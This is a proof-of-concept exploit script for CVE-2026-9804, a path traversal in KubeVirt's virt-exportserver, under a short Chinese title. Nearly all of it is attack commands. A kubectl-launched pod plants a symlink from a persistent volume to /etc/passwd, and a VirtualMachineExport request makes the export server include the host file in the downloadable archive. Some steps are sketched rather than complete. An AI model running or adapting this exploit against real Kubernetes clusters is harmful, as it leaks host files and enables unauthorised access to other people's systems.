CVE-2026-9804 KubeVirt路径遍历致信息泄露漏洞

#!/bin/bash # PoC for CVE-2026-9804: KubeVirt virt-exportserver Path Traversal # Prerequisites: Access to a Kubernetes namespace with PVC creation rights. # 1. Create a PVC (assumed 'pvc-exploit' exists) # 2. Create a Pod that mounts the PVC and creates a malicious symlink kubectl run malicious-pod --image=alpine --overrides=' { "spec": { "containers": [{ "name": "exploit", "image": "alpine", "command": ["/bin/sh", "-c", "ln -s /etc/passwd /data/stolen_secret && sleep 3600"], "volumeMounts": [{"name": "pvc-vol", "mountPath": "/data"}] }], "volumes": [{"name": "pvc-vol", "persistentVolumeClaim": {"claimName": "pvc-exploit"}}] } } ' # 3. Create a VirtualMachineInstance (VMI) using the PVC # (Assuming VMI 'vm-victim' is configured to use pvc-exploit) # 4. Trigger VMExport for the VMI # The export server will read /data/stolen_secret, follow the symlink to /etc/passwd # and include the host's /etc/passwd in the exported archive. curl -X POST https://kubevirt-api/api/v1/namespaces/default/virtualmachineexports/ # Body: {"apiVersion": "export.kubevirt.io/v1alpha1", "kind": "VirtualMachineExport", "metadata": {"name": "export-exploit"}, "spec": {"source": {"apiGroup": "kubevirt.io", "kind": "VirtualMachineInstance", "name": "vm-victim"}}} echo "Waiting for export to complete and downloading..." # The downloaded volume will contain the symlink resolving to /etc/passwd